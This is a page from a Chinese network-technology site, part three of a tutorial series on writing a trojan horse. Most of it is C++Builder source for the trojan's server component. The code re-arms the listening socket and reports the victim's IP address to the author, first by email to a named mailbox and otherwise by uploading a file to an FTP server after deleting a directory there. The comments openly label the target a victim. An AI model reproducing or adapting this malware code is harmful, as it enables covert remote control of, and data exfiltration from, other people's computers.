注册通行证 用户名 密码
  • 文章投稿
  • 博客
  • 论坛
  • 设为首页
  • 加入收藏
jztop.com网络技术
  • 首页
  • | iT新闻
  • | 操作系统
  • | 组网建网
  • | 网络安全
  • | 程序开发
  • | 办公一族
  • | 工具软件
  • | 网页制作
  • | 多媒体制作
  • | 网吧技术
  • | 服务器
  • | 专题教程
Vista | 软件评测 | 系统备份 | 优化 | 进程 | 聊天 | 病毒 | Linux | 黑客 | 防火墙 | 数据库 | Web开发 | Java | Word | 游戏 | 32位开发 | 移动开发
当前位置:首页 > 网络安全 > 安全产品 > 安全工具 内容正文:木马是如何编写的(三)

木马是如何编写的(三)

发布时间:2006-02-18 02:40:01 来源:黑基 网友评论 0 条

但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-〉Close();

//关闭服务

ServerSocket1-〉Active =true;

//再次打开服务

if (NMSMTP1-〉Connected) NMSMTP1-〉Disconnect();

//如果SMTP服务器已连接则断开

NMSMTP1-〉Host = "smtp.163.net";

//选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-〉UserID = "";

//你SMTP的ID

try

{

NMSMTP1-〉Connect();

//再次连接

}

catch(...)

{

goto NextTime;

//跳到NextTime

}

NMSMTP1-〉PostMessage-〉FromAddress ="I don't know!";

//受害者的Email地址

NMSMTP1-〉PostMessage-〉FromName = "Casualty";

//受害者的名字

NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "crossbow@8848.net";

//将信发到我的邮箱,这一步很关键

NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString("Server Running on:") + NMSMTP1-〉LocalIP ;

//信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";

//信的主题

NMSMTP1-〉SendMail();

//发送!

return;

//返回

NextTime:

NMFTP1-〉Host = "ftp.go.163.com";

//你的FTP服务器的地址

NMFTP1-〉UserID = "";

//你的用户ID

NMFTP1-〉Port = 21;

//FTP端口号,一般为21

NMFTP1-〉Password = "";

//你的FTP的密码

if(NMFTP1-〉Connected) NMFTP1-〉Disconnect();

//如果已连接就断开

try

{

NMFTP1-〉Connect();

//再连接

}

catch(...)

{

return;

//返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1-〉RemoteIP;

//受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1-〉RemoteIP.c_str(),"w+");

//创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

//写入以上的SendToSite的内容

fclose(Upload);

//写完后关闭此文件

NMFTP1-〉RemoveDir("public_html");

//删除public_html目录

NMFTP1-〉Upload(NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP);

//上传!

}

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include 〈stdlib.h〉

#include 〈dirent.h〉

#include 〈fcntl.h〉

#include 〈dos.h〉

#include 〈sysstat.h〉

#include 〈winbase.h〉

#include 〈stdio.h〉

#include 〈process.h〉

#include 〈io.h〉

#include 〈mmsystem.h〉

至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击——搞定客户端程序(Client)!

 1/2    1 2 ›› ›|
相关文章
    无相关信息
【评论】【收藏本文】【打印】【关闭】
上一篇文章:木马是如何编写的(二)
下一篇文章:基于C/S架构的分布式防火墙(图)
讨论区
查看
已有 0 位对此新闻感兴趣的网友发表了看法
匿名发表
注册通行证 登陆
图文阅读推荐
光华反病毒软件之屏保杀毒
光华反病毒软件之屏保杀毒
杀毒软件进入全球竞争时代
杀毒软件进入全球竞争时代
走出误区 教你杀毒软件到底该怎么用
走出误区 教你杀毒软件到底该怎么用
如何用Procexp和Autoruns工具识别与删除木马程序
如何用Procexp和Autoruns工具识别与删除木马程序
推荐阅讯
  • 奇虎联手卡巴斯基推出个人免费杀毒软件
  • 电脑安全的辅助大师!奇虎360安全卫士评测
  • 木马是如何编写的(三)
  • 灭毒有招 如何全面清除计算机病毒
  • 木马 wol.exe KB49400M.LOG 清除方法
  • 三步清除“魔波”病毒
  • 能上网就能杀毒!“瑞星在线杀毒”简介
  • 不可不知:十七个防火墙应具备的特性
  • 如何用Procexp和Autoruns工具识别与删除木马
  • 基础知识:防火墙术语详解之防火墙类型
阅读排行
  • 1.sxs.exe 病毒专杀工具
  • 2.winlogon.exe病毒的查杀方法(落雪病毒专杀工
  • 3.lsass.exe病毒的查杀方法,附专杀工具
  • 4.木马 wol.exe KB49400M.LOG 清除方法
  • 5.征途木马病毒ztdll.dll和svhost32.exe的解决
  • 6.svhost32.exe,msdll.dl 梦幻木马解决方案
  • 7.comine.exe 病毒清除方法
  • 8.卡巴斯基6.0使用感受!
  • 9.“落雪”木马疯狂盗号 下载江民专杀
  • 10.加速你的杀毒引擎 卡巴斯基设置教程
专题教程
  • 大话G游 专题:手机病毒揭密
  • ARP攻击防范与解决方案 路由故障处理手册
  • Picasa中文版_Picasa教程 专题:清除流氓软件
  • Firefox专题 seo搜索引擎优化专区
  • 重装Windows必知的事情 装机之必备软件大行动
病毒专杀栏
  • 杀毒软件反被病毒杀 连"救命"都不能喊
  • 金山ARP防火墙
  • 还原卡神话破灭“机器狗”病毒来势汹汹
  • cctv经济半小时:你的手机现在安全吗?
  • 新挂马方式开始流行 ARP挂马称雄局域网
  • 木马和病毒清除的通用解法
  • IP地址不再冲突 查找ARP攻击者元凶
  • 教你几招识别和防御Web网页木马
  • 分析:封杀BT只是暂时的止痛药
  • QQ爆危险漏洞,“QQ游戏邀请大盗”邀请你玩病
关于我们 | 诚聘英才 | 联系我们 | 版权声明 | 网站大事 | 网站地图 | 意见建议
CopyRight 2005-2007 Jztop.Com 版权所有 未经许可 请勿转载